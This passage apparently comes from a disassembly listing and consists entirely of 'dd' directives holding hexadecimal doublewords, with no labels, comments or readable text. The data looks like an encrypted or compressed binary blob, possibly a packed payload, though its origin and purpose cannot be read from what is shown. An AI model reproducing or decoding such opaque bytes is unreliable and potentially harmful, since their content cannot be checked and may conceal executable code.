29CFC52Dh, 0BD7C770Eh, 1C8685E2h dd 2F3E3404h, 98B50400h, 7000AAB8h, 0A1374472h, 0C1E9B8Fh dd 26CE6E7Fh, 0D80BD591h, 237D0Fh, 9F4CFC03h, 0C9F8287Ah dd 51E43BF6h, 0E680693Ch, 9AB71558h, 932BC141h, 82F00479h dd 1092672Eh, 0F54C007Ah, 0CC073009h, 0C41B3607h, 4FB127E0h dd 31D80121h, 8634B632h, 0F325F1C6h, 30746690h, 8D16805h dd 2C0171E1h, 0ADB8974Eh, 6E345184h, 94C141AEh, 29BE1E3Ah dd 2D966B81h, 0F018FBF2h, 1F00A17Bh, 8CD45643h, 3E152DEh dd 3386A283h, 610C4CB1h, 0C1CC8B01h, 0D23888A4h, 59C0577Dh dd 2A1935DFh, 0A7073A5h, 2EC2343h, 18724770h, 0A0803D03h dd 0EE63A006h, 960E37C1h, 278228E8h, 0C0BF35F0h, 0D9134CBh dd 8D2594CDh, 9D01F881h, 5286BB3Ch, 0B7C0004Ch, 0E6905028h dd 7B81096h, 0F64103E4h, 1875B6Fh, 19714E29h, 9E76563Ah dd 3856E2A8h, 9EE62103h, 145974C2h, 0F8589782h, 0E0BA0490h dd 7CA1AB56h, 15F91495h, 9900E883h, 0EC881401h, 61019E1Bh dd 0B856300Ah, 28885C2Eh, 0F590B445h, 442B8684h, 0FA4428DCh dd 471948D0h, 0C088E8D7h, 0CB5D8829h, 44844D90h, 51E44C2Dh dd 7EAF0071h, 76A8D2D3h dd 9009E3Bh, 0CEA3B594h, 649F4480h, 806D20A1h, 62B4131Ah dd 0F96FE700h, 0F7841D67h, 573E009Eh, 99E265DFh, 0C400B21Ah dd 8CD75B30h, 0F6AC1001h, 0B6F30074h, 661A1939h, 1700CE89h dd 75FC98CBh, 14D94Fh, 0A9E174C4h, 485411E6h, 0BCA7D800h dd 8221E5A3h, 0F79D00B2h, 0D2154914h, 0EF02C8FAh, 7C87CFAFh dd 89BCA2EBh, 0A400D50Fh, 0B36EDCDDh, 3EBD1B00h, 0DED79D0Ah dd 1A8C0027h, 0B16C105Dh, 0B0354F5h, 0BC2041E4h, 3C899075h dd 943B719Fh, 19240118h, 2416F5F4h, 887FECF4h, 915CB00h dd 70E1DE22h, 0C21B002Dh, 0CE37B1FCh, 3C00198Ah, 0B6BCA052h dd 0F44523h, 0DBB3ACADh, 4ED2A6C4h, 22A3AE00h, 0F8C75A4Bh dd 0F5C30740h, 46FB806Bh, 0FEE2317Dh, 5DB19600h, 4C8DD726h dd 438918D2h, 90043872h, 9127B003h, 0E06D2EC3h, 2E7F498h dd 58694F88h, 0F0C3C885h, 53BD4D98h, 517B5EB0h, 64845600h dd 0AC9022B6h, 0B4D100DBh, 6FEAEC18h, 0B1073A03h, 0F0B7DF1Bh dd 0E29029D7h, 3740C8h, 0CF1DCED8h, 0CA578895h, 258CDA60h dd 0EA8E7Ah, 69511A91h, 0A542D1E3h, 3AC7500h, 3CA1C4F9h dd 46500D6h, 87EA2A85h, 68007F57h, 0A02464CAh, 0FD81D1Ch dd 5111D72Fh, 7C9EA5h, 56392AB4h, 0DB1E84A2h, 3009C70h dd 0E086986Ch, 2BF5077Fh, 0B07E524Bh, 0C49E4D05h, 0FBE2C1Ch dd 73A643C0h, 1CB2E2Fh, 86B502D7h, 0D4997B7Dh, 611F75BBh dd 0E2D8A022h, 0F438831h, 68702032h, 5A4A50C0h, 0E4840E6h dd 312DA024h, 32501EFDh, 0C9FF4705h, 16EBC094h, 4F02A5C6h dd 788DAAF5h, 0E2344815h, 45110BE9h, 6880A719h, 0A6FED24Fh dd 98C6AE01h, 7CF99FF8h, 7F732C24h, 0BE8A00A9h, 0ECFE7E6Fh dd 4B009839h, 0CC3888E1h, 5E2B95h, 0FB454CBAh, 290F55F6h dd 0AFFED1E4h, 48B16700h, 2BDBC098h, 0E4020095h, 16507FE5h dd 0CD7C23F6h, 6CCB7E03h, 90804AAEh, 790FC2Fh, 0B8A9956Fh dd 0BA4D50C5h, 190E0E86h, 401F3253h, 999CBE3Dh, 2E330322h dd 0A7E30C6Ch, 683144D0h, 0AF003578h, 8D5DFAC6h, 1B1D87B6h dd 294C0E53h, 0FE909690h, 8FDED300h, 0B59B04D0h, 0C941005Ah dd 3D5F7175h, 5E0078A7h, 12735458h, 22A07ABh, 6681E04Dh dd 0A460515Dh, 6C000E69h, 7449A5F9h, 231CA1h, 448FFB86h dd 1B28CE6Fh, 5F2220C0h, 656D7Ah, 0BF617684h, 0B3F7608Ah dd 0C983091Eh, 2F3F1000h, 0F2819Fh, 0C2791B6Bh, 2DCEA854h dd 6F032473h, 90BF7588h, 0B5B898F6h, 9D84077Ah, 70456A89h dd 209F4665h, 0ECBC2A51h, 540036CDh, 0E54C30ACh, 0F456C2FFh dd 0D2EA86h, 0D0AB4543h, 36705751h, 5AB2CE0Eh, 974AE1F5h dd 852191BAh, 2CD8D4h, 0B5E0154Eh, 17BB81ABh, 3C00F090h dd 9E98318h, 5B3F85h, 13B93984h, 1A3B240Bh, 3AF92B00h dd 0D3082C58h, 0BE7A33h, 990767A4h, 7F97E39Ah, 84B68518h dd 50FA0C29h, 4CDA9395h, 0B00019AAh, 2968674Ch, 2607FD42h dd 9B9A58D6h, 604F8E02h, 202C08h, 292EEC85h, 0C65507C5h dd 0E3F1AE00h, 0EDBB1B1Eh, 974D007Fh, 6E3D20FCh, 1F029A13h dd 7E33DA56h, 7E075D41h, 27CCF7B8h, 1E68C05Ah, 9B01857Ch dd 0B593EAD2h, 0F7D04F54h, 228F001Fh, 0A3741E48h, 360021F8h dd 96435EDEh, 996D61h, 23F4534Ch, 6719C49Bh, 0B6DAEA1Ch dd 35EBEC00h, 3AD8AEh, 0E1FE482Fh, 0BE1EBD27h, 307C9600h dd 694B761h, 0D0753983h, 36B6012h, 0DD19A28Ah, 17B76880h dd 8F54073Dh, 207D1487h, 0D55EEF28h, 64890027h, 0EAF9E78h dd 0C800E526h, 0C5B14972h, 35BDE19h, 38F7D398h, 0BD88EE6Ah dd 0B63D4474h, 83D50042h, 0D0CDA10Fh, 15E90176h, 66B1DC3Bh dd 0CBD8E492h, 0B24DD500h, 79CC2381h, 0D2240072h, 0E72D2716h dd 94000D28h, 0E5DD4A8Fh, 0F826DCF9h, 3E0E007Ch, 46921472h dd 60024D0h, 0D7D88319h, 1EF66B71h, 0F8C19304h, 5E89127Ah dd 0A07E0003h, 78CEDFAh, 20C031F0h, 3AD9A22Dh, 53BA004Eh dd 49941093h, 91001FF4h, 0F60D5B80h, 76AB192Ch, 6F5800C0h dd 132870A8h, 9A00CC49h, 77253230h, 78B1184h, 0A3CFD3BFh dd 28E61006h, 750796B7h, 0C9CC4BB1h, 0B00848D0h, 400E1E50h dd 411E9CA8h, 57A05DE2h, 0F881DC25h, 0C092AC00h, 22D2FE87h dd 1B90080h, 3F839E88h, 5E00C5B2h, 1DF6D171h, 1AEB5Dh dd 28926AD5h, 58B295B5h, 648E6706h, 0EB0C77Ch, 131A39FEh dd 0AAC9005Ch, 63F1452Bh, 0F48EA100h, 69FB2E11h, 90CB0718h dd 53B4B06Bh, 0F7F09C3Dh, 5F1889A5h, 98118CCDh, 0EF990837h dd 0A40F9363h, 60ACCFB4h, 1EC30B2Fh, 31120C7Fh, 1F209290h dd 0F506B700h, 0ECD7A90Dh, 6FB41F7Ah, 0A12E8399h, 0A0F36096h dd 2898881Eh, 0B6DB7980h, 6753BBh, 0E7D9F12Ch, 0F3D89E60h dd 16E9DA00h, 40943DF7h, 17AF7FF0h, 7044FB8h, 40813FCFh dd 9B42F244h, 4DC20F07h, 40EEABA6h, 171953E9h, 0FFB70045h dd 387971BEh, 0DE0044F4h, 559463F5h, 0CB9E519h, 0B7E72ADDh dd 0B007EF19h, 6C3B0154h, 0ED5F00C9h, 587381C5h, 0F0CABABh dd 69542F9Ah, 11CF6700h, 6B50D58h, 0CE641866h, 1DE42029h dd 9AAD300h, 27C74C65h, 9FA200B2h, 0EEDB561Ah, 47005025h dd 0CC3EE629h, 0F69BF5h, 0B144BABh, 0A37F10D4h, 3D0225ECh dd 0C3FDDB1Bh, 0BA0240F8h, 37865876h, 0C07F9440h, 1EF7A848h dd 0D1006F21h, 5C60EA2h, 0A0A786E6h, 31DE1B8h, 4EF8EEE2h dd 0B0D7E008h, 8896B4D4h, 93CB0300h, 8BB20E17h, 0F659002Dh dd 587642CCh, 0A500D2DFh, 12D9C31Dh, 0DCF540h, 36F2C04Ch dd 0E5883B57h, 0FB556500h, 0C300F4Fh, 0F1EB09E4h, 1420AB58h dd 85C7FAAEh, 1D1FE0Eh, 59FD4028h, 1F085B74h, 809AA231h dd 0C2EBB83Bh, 10926573h, 0F663A1Ch, 0C6FDBB80h, 69932Fh dd 7132A255h, 6A8B91D5h, 5C073079h, 48A73957h, 6CD0F927h dd 0F280FFE8h, 5618C050h, 47A24C6Ah, 37DBEE02h, 402F259Fh dd 64AE80h, 7403D761h, 80E41B34h, 93C12E01h, 3E6CE51Ah dd 1FA27C24h, 4008AE85h, 0ACAD875h, 880723EAh, 28356A1Eh dd 13649900h, 0ABF50397h, 0F4EA9FB2h, 5CA22FA8h, 32311600h dd 15754C9h, 83F90090h, 0D5147330h, 0DF742D13h, 558F5B00h dd 0A2BBC0E3h, 4E7618h, 0A738D2A3h, 0B3DFAC9Bh, 11A62B00h dd 3EC3509Dh, 6E3F00B9h, 5675617Ah, 0ED5CA2F9h, 5EA100E8h dd 0D3C8F7EEh, 274A00F5h, 0FEF1FD94h, 50000D1Dh, 0C7C1DD92h dd 60912506h, 1C8CC83Eh, 713C5CADh, 1EEA140Eh, 63DB0E9Ch dd 0B3C9A0C8h, 8130CEh, 97DAB062h, 0F148232Bh, 3DA3B600h dd 26E902CBh, 6A5C1D60h, 61248071h, 0F46BCA7h, 34C2CE24h dd 0FC13DB00h, 149A327h, 94E3BB90h, 0D0E04262h, 0A0394178h dd 47190029h, 0ED9E0173h, 0E6A500DBh, 0BF39A3ECh, 59072A0Bh dd 19608F13h, 0F306D211h, 0FAD45821h, 39CBF075h, 0BE807647h dd 52A7E7E6h, 1B00F753h, 14D0E833h, 0D8062h, 9682860Bh dd 49B51AFEh, 0BBFFB800h, 687B4204h, 0E6BA000Ah, 5C34873h dd 0BD00717Ah, 61939095h, 3808E49Fh, 0F8731714h, 105B0032h dd 0FA72F0C4h, 3A00A812h, 1E7D0E31h, 0B014C52Bh, 0E3BF0054h dd 13F7E5D4h, 303BEBAh, 0B89C9B9h, 8FA188A0h, 0CCF1044Dh dd 0C0D35723h, 6BE7B0EBh, 8C9C0400h, 2246CA75h, 0E3E900B8h dd 38E0FFBBh, 7100480Fh, 0A53056A2h, 9827F9D6h, 71E1FE93h dd 0AAB00087h, 8EB99673h dd 5F007E0Dh, 3B320E93h, 0A55044h, 0C50C1887h, 0D1FA71A7h dd 792C1500h, 9A2E1A0Eh, 75BE3794h, 4A91F0A2h, 0EC00AC41h dd 0C6E107B0h, 0DA938Eh, 0CB1DF5F4h, 196CCCFBh, 6F0083FAh dd 1BE84947h, 2D456B86h, 6F58F13Ch, 0D433507h, 8B7063FDh dd 0E71083h, 2A051FC1h, 0A98C9FD8h, 81965800h, 1E8A3F98h dd 0AC0F4EC7h, 623F74h, 3AD23504h, 1D050E3Eh, 215A198h dd 347DBB31h, 86E5AA60h, 0C003698h, 9CF86CA6h, 0FBBC1C3h dd 7AAD7F2Eh, 0F6DF2840h, 66FA56FCh, 6120BB0h, 0A00D4C4h dd 3F47F286h, 0E5FF4C84h, 6B9CAA00h, 1D8FFA51h, 0FC5F8D00h dd 0B5C77A8h, 0B88206F6h, 78CE6893h, 68F095h, 6E8EC4BFh dd 39EEF1B3h, 6199071Eh, 0E0F887C0h, 1FB452h, 0E82AFBA4h dd 5A4ECFB7h, 721BD20Fh, 6A9A43DAh, 4F2C062h, 0C37800B2h dd 0FBE9311h, 0FA00BC5Ah, 61BAFE19h, 0F902ADh, 91840E29h dd 0F8E1D4B2h, 9E509400h, 2B4B2C06h, 0A4460075h, 606ECC1Eh dd 720085A5h, 0C5FBD302h, 0EE8A80h, 0A345E4E8h, 9ABD7997h dd 183C43Ah, 7F07026Bh, 19F40A11h, 90B41F82h, 0C478018h dd 6AE225AFh, 775CE800h, 3C1D5FADh, 8A302D8h, 40F78385h dd 2C74C480h, 952E6EFEh, 8B008A72h, 2FB0E39Ah, 63E41F73h dd 6AE90096h, 29BAB88Eh, 25B2E500h, 4DCACD4Fh, 0B5C20044h dd 0F8CB6740h, 9600EBA7h, 1DAC4C7Dh, 5C38BA94h, 300382Ah dd 0ABE2CEEh, 740495B0h, 0DC11662Eh, 0E8C9A781h, 35301180h dd 3C417526h, 56A00D27h, 3CAD12EBh, 1CB07D14h, 786123Eh dd 5DD9F208h, 0A4F9AB40h, 339128E6h, 883973FCh, 0A0F6F4CAh dd 64B32801h, 973C545h, 0AB2A20h, 1F5831F8h, 28BE2AC6h dd 66D60E00h, 7890A952h, 4DEC003Fh, 0B4542446h, 0CE07A17Dh dd 0E455511Ah, 1D6120B0h, 25DF00A4h, 37E5D8FCh, 0C33D8FB5h dd 2EA5809Eh, 85B48D58h, 28E4E675h, 0EF807BCh, 5CDA633h dd 0B041A583h, 86E039EAh, 870295DEh, 752CF6DBh, 0B004844h dd 83650005h, 584C47F1h, 9C0E07C1h, 0CF9ADD33h, 0CAE16037h dd 0E38B46Ah, 3B095C13h, 6662C740h, 0EE042316h, 5D56EC02h dd 0E4C51880h, 0E17FE41h, 4361FDEAh, 1B590580h, 1DEEFFFCh dd 44FE1F06h, 120E462h, 20AEAC1Ch, 0DC97250Dh, 0D900130Fh dd 0BE580A04h, 112174h, 0F3618E92h, 430CA096h, 0E08BAA00h dd 2834D0C4h, 905839F9h, 750216h, 0E2B80BF5h, 88007935h dd 255FBAD7h, 74F4EE7h, 98105E55h, 84AAB440h, 66EC0Ch dd 0CA25597Bh, 733BB47h, 0C397B7FEh, 77CFD0FCh, 73073B67h dd 0F4E6DBB8h, 3F61B410h, 0F6B2384Fh, 398FD500h, 0F3A70475h dd 5A7B6E00h, 0A208476Dh, 0D7650017h, 6FD53ED9h, 0DC03AE27h dd 2882D02Eh, 2211051Ah, 0C08E014Dh, 0B8EA4B03h, 0DECF1D00h dd 0D582B512h, 7A183CBFh, 0B4A36101h, 0D023CD7Ch, 9D007D99h dd 40AAD119h, 0E0C135h, 0A4E5C9F3h, 0D52475F4h, 0EA893300h dd 1C407865h, 9F8E03BBh, 9DF357E6h, 41E5DEF0h, 0C3580D00h dd 783A5DB4h, 8168381Fh, 59771Ch, 69E7F17Ah, 0E40052C9h dd 0F542DAD9h, 24F22950h, 764717h, 0B566FB4Ch, 0B700733Ch dd 0C986E44Fh, 0C1DAF4C0h, 0D15EC760h, 0AACC342Dh, 8073D207h dd 2C4103D8h, 18BC42ACh, 5410FB31h, 0C0A313C1h, 605DA75Fh dd 0E3891E7Bh, 19033E39h, 6FD31726h, 6096A0h, 0B44D8886h dd 0D2D89DAh, 59603CFEh, 49026471h, 0CE350FA1h, 801ECF97h dd 2FD8E058h, 3D02F1BFh, 0A14B1713h, 8E588E39h, 4E0190E9h dd 0C50B132Dh, 6312D05Dh, 9C3A6D2Ah, 9CB8D600h, 0FB22C777h dd 164A0051h, 0EE13BD0h, 0E6FEC917h, 342B1C00h, 0AEA1C599h dd 416900D7h, 33165329h, 48719C2Ah, 3CBD8601h, 92B64BFFh dd 0A1A2E4h, 0D5A6A71Eh, 2D4DB4F2h, 0FC2BB93Fh, 0A4165F1Fh dd 0E4415302h, 855480EFh, 7EBFF4D6h, 0D3130C4Bh, 0C308ED64h dd 0FEAA21C0h, 0C501F4h, 7BB2BDBAh, 23595CD5h, 0E507960h dd 0DA7691ACh, 0E081A668h, 0E6DB277Dh, 11EE1444h, 0B603297Fh dd 4E2D884Ah, 0A608281Ah, 754100B4h, 0B8472949h, 0A20A8613h dd 0FC57DB6Ah, 0C3880B40h, 0C5DF631h, 0D13ED449h, 8106C739h dd 20EFFFE4h, 82470011h, 78860C6Eh, 5D33334Dh, 0E0908A8h dd 6E7A1921h, 0C02E1B00h, 72FC437Fh, 0C1B9891Ah, 0F3468058h dd 9F2B24h, 0CFD0D2D8h, 0AC4AC727h, 61912E60h, 48A7E012h dd 0E81CEDD8h, 1508F3C0h, 0EAEC2100h, 6213EEE0h, 681D01CDh dd 0B88A0C97h, 92B98121h, 93447D7Bh, 1FE4B560h, 98707343h dd 2972D012h, 90C2C6B8h, 0C0A62488h, 1C8E9469h, 404E8C79h dd 0EEB252A8h, 48000CD1h, 0E2924945h, 0B0988026h, 7E120F15h dd 7A20655Ch, 863D225Dh, 552C8E00h, 8DDDC960h, 5FB00FCh dd 0EE70EFC5h, 0B80041BBh, 6366A531h, 6DBD5h, 0B1D88990h dd 71F07656h, 0EE1C7000h, 74CE75D9h, 0CBB93F5Ah, 0B62203F5h dd 0ABEC6561h, 0E7041143h, 0F601ED3h, 0F72E010h, 3D87C2CFh dd 112C829Eh, 122D2CE0h, 0C1893Fh, 42F188EBh, 0E3FDC68h dd 4E9683E7h, 52E38BA0h, 0BE00829Eh, 3E6C91B4h, 0F486BDAh dd 0EDD9BC35h, 866FC7C0h, 0B100EA25h, 27E2F1CCh, 0B27CC3h dd 898735E9h, 1E03B563h, 32FEBB02h, 0C1A32719h, 1E0A27Ch dd 0AD200716h, 0E9810Bh, 0B735868Bh, 0D9BBAC1Eh, 1D4DC380h dd 782BD531h, 7CCD78DAh, 0A7FC39h, 9201DD8Eh, 7D714C43h dd 3A005A73h, 6963B617h, 0E59979h, 0F247DB57h, 38D16468h dd 4C350D07h, 0E3DE9A1Dh, 0E87081D2h, 962DECh, 4173DAA9h dd 452E9277h, 3DFFEB0Ch, 7CC4283Bh, 0F0ED005Ah, 0E90DCC5Eh dd 201D1D27h, 0B1C04744h, 612AEB95h, 0CAE42A78h, 8D5000C4h dd 4CA4119Fh, 99EEB27Bh, 0E914C100h, 2098BB2Dh, 60897A1Ch dd 31121037h, 0F6441DAFh, 0D30C004Eh, 0CA098675h, 3E15EBF1h dd 0F0AAE1h, 0C0A8C716h, 1278777Bh, 0DB564Ch, 9E88694Bh dd 360B7493h, 776BD23Fh, 12899C01h, 5671C8C2h, 0A6E9E801h dd 672C6694h, 0E9E6230h, 0F51E9DC0h, 88C270A0h, 0BD004FECh dd 4769F32Bh, 679CF6h, 6BDB310Ah, 13D7CB3Fh, 684B7E00h dd 36ABAE5Eh, 0B27417h, 0EDD24899h, 150EB9D9h, 0DA01FF0Fh dd 1C0A406Ah, 284E3EA7h, 0F88CE8Fh, 3542C8F4h, 0A0B923C7h dd 0E256E6FDh, 0F9ED406h, 711F310h, 540AF279h, 9430B029h dd 2501FF6Ah, 5371522Dh, 61F4B6A3h, 0F9B9043Ah, 8072F111h dd 6DC825Fh, 0BFE7403Bh, 0F8C600B4h, 24D7EBD4h, 3620C197h dd 0D958E14Bh, 6E5E0F7h, 0D2FA6A04h, 410095B3h, 0DA62FC78h dd 492CEF00h, 9E3E6DA9h, 64210039h, 24AEEACh, 470EBCCAh dd 0DE569A6Bh, 35DF003Fh, 0DD75A9DBh, 504F00F8h, 0FE03D97Eh dd 0E4A01645h, 0BA889B5Dh, 0F2401547h, 0C00D895h, 16266A34h dd 0DE000235h, 32BDB793h, 4C4A99h, 0C74043BEh, 4EDD95FEh dd 46676C00h, 25A23ACFh, 3660042h, 1727E4B3h, 0FA00ECB9h dd 57F6567Eh, 0E568D6h, 724DD311h, 0EE3ABE1Ch, 0E3183400h dd 0AB4E9D3Eh, 0C40D002Eh, 0A084C691h, 8D50F007h, 880094C6h dd 77B5CC7Fh, 0CF2E5Eh, 8B626EE2h, 54FDF846h, 191CBA1Ch dd 59FA2440h, 9ED27Bh, 1B033116h, 3F6810F4h, 82324E1Ch dd 3C0117C0h, 0F884A2h, 698B3983h, 0E1259F09h, 0AF607667h dd 0AFE1BD0h, 0F78A00EEh, 23085155h, 0D775B861h, 3A5A700Ah dd 0A21E3CFCh, 1A8BA340h dd 1E868AB2h, 9CBF51h, 3895395Dh, 0AF1E18ECh, 6F809881h dd 5FA9108Eh, 4D29004Fh, 21861D55h, 0E300A2DDh, 640BBB33h dd 0E4BD4993h, 7A5200C8h, 1A7B6323h, 0F201B814h, 64E9E647h dd 9C4BFAFh, 564307DFh, 71949DAEh, 0D85AC8C5h, 0BD00FFA8h dd 0DC23C3A4h, 0BE9B54h, 25897321h, 6FBA79CCh, 0AB062671h dd 5FADDE6Dh, 0ECBD1FF8h, 0C325007Ch, 18DCC6A4h, 9DD93Ah dd 0ED650791h, 762331Ah, 404A7D85h, 3E873025h, 71E6DA5h dd 38809CE8h, 960C6F82h, 884700EFh, 0B93D79F7h, 3B00F8F1h dd 8E748D8Fh, 289B0C1Dh, 9C8971h, 54048120h, 0AEFA7DFBh dd 9D053800h, 48A31522h, 35D81C43h, 63CC40E0h, 3BB3969Fh dd 41F28A30h, 2C19AA3h, 395933D6h, 1440F657h, 0C300FC45h dd 0BE31888Fh, 520F67h, 90713258h, 811A7ABDh, 41E0C401h dd 0E5D9B8E9h, 7A6093E5h, 0BB0E0076h, 1704327Fh, 0E400CE2Dh dd 0A5E1E9B0h, 58A17D51h, 45009882h, 4AA36C75h, 8A00028Dh dd 571BA7E3h, 853978h, 5BD90DECh, 4CBDA086h, 0B821611Ch dd 0EDB95105h, 0B5220DC0h, 0B17F6085h, 0A518FCE9h, 0CE3E301Eh dd 8438DAB0h, 8A5038BDh, 95A11980h, 20D15921h, 177B33Eh dd 830F60EDh, 0B9C028B2h, 0EF4F00DBh, 187BE313h, 0B626EB69h dd 970A83C9h, 0D500BEE7h, 0F88C7F58h, 0CE0A00E1h, 6914952Bh dd 0A200E268h, 0BB25C478h, 0C6C902h, 0A9D5D8F7h, 0CD3C30F6h dd 4EA18E00h, 6661483Ah, 0C80E5C47h, 4C96A40Bh, 2E498480h dd 36003EE2h, 6E938A9Ah, 1F8B55Ah, 0D4C78677h, 0F04E2EA0h dd 2C0022A6h, 0EF2D9DECh, 5DF2AC0h, 64F55CB7h, 6CA4C240h dd 0BE59FC60h, 5F00A670h, 0E6760B72h, 7EF6FDh, 179871FAh dd 0AE16B4ADh, 0F5E17F00h, 2A254113h, 979E0006h, 7114C36h dd 0B13D78B9h, 3AEB0A32h, 2C02CC94h, 0AED35689h, 9FF820F0h dd 0B52B74h, 1C37CFC3h, 20E56B7Bh, 0EB3E6AFEh, 230674DAh dd 0A516E370h, 7EBF00F0h, 3DCC89B8h, 8B00B275h, 0DC7B7D8Eh dd 344626h, 2E96CEE5h, 0DA9EC099h, 0B0CAB100h, 47D4BA87h dd 0D08E0079h, 0C5E249F4h, 6A002876h, 0B099EE2Eh, 7E2354BBh dd 42CB00D6h, 775CAF0Ah, 0A7E092ABh, 0B5399700h, 0A9EDCCB0h dd 90589A26h, 3F7F016Ah, 0D61A46ABh, 9877C4F7h, 886EBF00h dd 581B164Dh, 7C4B009Bh, 34C273D1h, 4100A6FCh, 182C8E6Eh dd 0BC55F9h, 4CC44960h, 0CF1FD938h, 0AE2B2613h, 0BD1A0100h dd 20C0A5Bh, 0DF3C477Ah, 0C868C2EAh, 321EFD51h, 1703AF2Fh dd 98F4909Ah, 3E4123A6h, 11A865B7h, 7DAD0010h, 0A262F4C2h dd 1DB0EE23h, 0D10C5274h, 0D11C01A8h, 3E901D0h, 6B126342h dd 0E7088047h, 28660939h, 0A8F0FD1Eh, 0EA18A902h, 0F87B48E8h dd 0C27486h, 0F6555232h, 279EA242h, 3AD94000h, 0F079365Ch dd 0D84E0750h, 238106B2h, 0B003E889h, 1CFEEE7Fh, 0BCD918BBh dd 32F4611Bh, 0D023A318h, 10EE55B0h, 0C8FCA8CCh, 0B10ECh dd 8DCF65A7h, 0EBE4A9h, 0D462162Dh, 8B02B640h, 64526D01h dd 7371B7D1h, 0DAC6D080h, 1DD38E59h, 75006978h, 10704120h dd 38ABCEh, 0E2874425h, 32DC62EAh, 66908C00h, 9257B7E3h dd 8B7DBCh, 145536E7h, 0D7796B96h, 0BF294628h, 0F63A2607h dd 3501EB3Fh, 69E01DF7h, 0E6AB0006h, 0A3E91CB3h, 5E01D5EEh dd 0D3DFF5FAh, 16F9C9B4h, 0E6210F8h, 885140C2h, 6BFDE560h dd 7C000164h, 0C0424B21h, 0E1ADD15h, 5D388907h, 0CA42D60h dd 7603C7C1h, 34E52368h, 99F3A0F8h, 71DFA40h, 0B9CC33BDh dd 88A7E44Dh, 9B000860h, 18561FC8h, 0E7F3Fh, 36867EDh dd 0DD9DEE73h, 0BC9A4915h, 141E00CCh, 0D9EA01A6h, 0D6EF1BDFh dd 0D7C7185Ah, 0F6964311h, 185FAFF8h, 1D8A5D0Eh, 2FABE007h dd 760C520Dh, 0EDDF0082h, 1E9CFAA8h, 67013530h, 0D693888Ah dd 6880AF2Ah, 9C55C1C8h, 4B0C6537h, 81F68249h, 1EF0EA58h dd 0C19E5D22h, 9C83008h, 196CF08Bh, 0CE39F926h, 2BDDAF04h dd 0BFAE4883h, 81164C80h, 798A0076h, 0A998B36Ch, 9D00593Ch dd 291E4FD1h, 46EBDCh, 1AA77518h, 73EC26F3h, 8364FB03h dd 0A03142B1h, 26D6093Ch, 0A4A033Fh, 0ECBA16Fh, 0DE86A017h dd 0F7002084h, 0D71403C6h, 3E7ED2h, 0AE4E564Dh, 0EF183208h dd 0E6833500h, 0C6983AF5h, 0CCA5064Bh, 60360946h, 5E0027FAh dd 80380C47h, 0C0BCFD6h, 43E46CDh, 0BA1E3381h, 6DEB697h dd 0FE6A8B06h, 0C060B0A8h, 0AB593620h, 44005587h, 0D24D4AFFh dd 0F2B9C4h, 8CE61753h, 88083D75h, 709E5A02h, 40FD7C38h dd 7151ABh, 0A0EF4743h, 561DBAB2h, 0C87C70E3h, 9429F800h dd 68F04EADh, 0F7DA1FD5h, 1AC0801Bh, 24399BCFh, 9907807Ah dd 2F48F108h, 42C35257h, 1EF3F08Dh, 85CD00A2h, 0C3C140F5h dd 86061ACBh, 0CE3C7656h, 6A411B18h, 0C0C7206Bh, 51B04B4h dd 1F3E591Fh, 0FACA047Eh, 8500F6C6h, 0B251EB72h, 6B3D1E00h dd 0FF84A056h, 7AF34404h, 4549BE02h, 60FB6434h, 0DEE1A89Bh dd 0CE160081h, 7F9D7ED8h, 0E7E5F400h, 6BDAD473h, 0A64C1B9Ah dd 0E0C0897Ah, 74000DE2h, 491357A5h, 1D8BFDDh, 3E78F4EBh dd 8F3F4A8Ah, 0E1B8F76Eh, 0BB09C135h, 60A17F30h, 2EDB71E0h dd 5B00226Bh, 6747958Bh, 0CF99ADh, 40286A5Dh, 7053FD76h dd 0FFF96100h, 846FE334h, 0CF3B034Ch, 18C10471h, 181DD9E3h dd 290FA272h, 1EFEA0B9h, 0C47934Dh, 2F5A5957h, 4A16D430h dd 0A7019A07h, 0FE950506h, 2C318982h, 90803A17h, 9ABD1CC1h dd 0F6000DE6h, 0FFB76890h, 9B63C6h, 0D1F50622h, 89A93916h dd 3C577900h, 0BB6C0E6Fh, 4DB0002Bh, 0B9E4662Ch, 0E6007359h dd 92475235h, 31608C2h, 99883EAAh, 0C0A0BAEFh, 0B00D34Ch dd 0FDBB3827h, 1F4486B2h, 40805EFBh, 0A085714Dh, 0C70018E8h dd 86550549h, 46AF28h, 586E84F7h, 7454FE7Bh, 0CDB98504h dd 3C04571h, 3A4E04Ch, 0FD89439Ch, 0C08877AEh, 0D100E6C7h dd 0AB4B8029h, 8BFC37h, 7A43FEB3h, 83CA408Ah, 19280100h dd 93C5F65Eh, 0A0ED0013h, 1DD5394Fh, 0B00DE48h, 0D22F7EA4h dd 95F49Ah, 7D5425E7h, 84CC42EBh, 0F04739h, 0B253BE04h dd 2CC08629h, 0C01572h, 6A2E128h, 0BF001890h, 464D0103h dd 9555E8h, 836E76D1h, 0F7317CEh, 0B079961Dh, 0B1BD9B80h dd 352B4Ah, 9825EC82h, 37564260h, 0B0530E28h, 6B07CF00h dd 7E1A4A85h, 7A512A41h, 780485BCh, 54606889h, 87E88D10h dd 595F00FFh, 275D5ABDh, 4900BBA2h, 0FE89E446h, 1964B8EDh dd 298523AFh, 443908C9h, 2284EA5Ch, 95426B7Ch, 2163E411h dd 225F1DE6h, 225B0122h, 9242608Dh, 0AD69447Ah, 661C28A0h dd 0C008AE89h, 0DD617C45h, 1447298Eh, 0D09A1150h, 0F97ABA08h dd 889E4510h, 5608685Ah, 84CA90ECh, 0CE44B471h, 3C024A58h dd 2917860Ch, 4A51C05Dh, 0E158EBA8h, 7000B3E8h, 76051E7Ah dd 18E82580h, 20A67FFBh, 1A3DCEE4h, 0C3E78018h, 0F89C2ECh dd 422839BBh, 80C8D11Dh, 37FF52F4h, 3400D8CCh, 0C0C3ECA0h dd 6BAA47h, 2E997CABh, 0B6910488h, 76ACF03h, 889FD27Dh dd 29FEA6h, 44B1EB73h, 471A2771h, 1C3DB20Fh, 0C75446E6h dd 8E831C30h, 65BF47CAh, 0BD27BFD2h, 0DFA8106Eh, 0CB0E69AFh dd 803A38DAh, 0C02D93E1h, 519F1F5Dh, 64B0400Dh, 2E0B067Ah dd 0BCC5FC00h, 391B8231h, 0B52F008Ah, 4C47E104h, 0C1010EDAh dd 0E97A26BAh, 0B1F4AAACh dd 3D7B0462h, 80E7F438h, 21081F4Ch, 0B4726400h, 29AD792Bh dd 56A700C2h, 583A0704h, 0E00014B3h, 0BC89F6A6h, 119A5Fh dd 0E46765A0h, 5D5F538h, 0AB3CF000h, 0E288D3E7h, 6E131EB0h dd 21C94E76h, 97C07AEFh, 35FD2D6Ah, 2F39BC00h, 6CB2CC4Eh dd 0E1BD0099h, 482A1AB7h, 